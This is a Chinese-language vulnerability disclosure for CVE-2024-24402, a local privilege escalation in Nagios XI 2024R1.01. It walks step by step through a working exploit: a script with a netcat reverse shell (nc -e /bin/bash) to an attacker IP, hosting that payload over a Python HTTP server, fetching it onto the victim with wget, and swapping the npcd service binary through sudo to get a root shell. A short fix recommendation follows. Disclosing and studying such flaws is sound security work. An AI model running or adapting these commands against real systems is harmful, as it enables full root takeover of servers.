漏洞报告

CVE 发现者: Jarod Jaslow (MAWK)

漏洞详情:

端点: Nagios XI Version 2024R1.01
漏洞类型: 来自用户 "NAGIOS" 的权限提升
利用结果: 在目标系统上获得完整的 root 访问权限

复现步骤:

1. 创建 Nagios XI Version 2024R1.01 的新实例:

从以下地址下载 Nagios XI OVA 文件: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
部署 OVA 以创建新实例。
利用我之前报告的漏洞在服务器上获得 RCE

2. 滥用权限提升:

作为用户 "NAGIOS", 在攻击者机器上创建包含以下内容的文件:
```
#!/bin/bash
nc -e /bin/bash <Attacker IP> 4445
```

Pasted image 20240118113554

通过 Python HTTP 服务器在攻击者机器上托管该文件:
```
python3 -m http.server 8000
```

Pasted image 20240118173813

在攻击者机器上启动 Netcat (NC) 监听服务器:
```
nc -nlvp 4445
```

Pasted image 20240118173831

3. 在受害者计算机上执行利用:

从攻击者机器获取文件:
```
wget http://<Attacker IP>:8000/npcd
```

Pasted image 20240118173846

执行以下命令以提升权限并接收 root 连接:

sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
cp npcd /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

Pasted image 20240118173857

Pasted image 20240118173915

建议:

建议限制用户 "NAGIOS" 写入以 root 身份运行的 Nagios 服务可执行文件的能力。这可以通过对与 Nagios 服务相关的目录和文件实施更严格的文件权限和访问控制来实现。

这应该在新版本中修复

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402

CVE-2024-24402

最受欢迎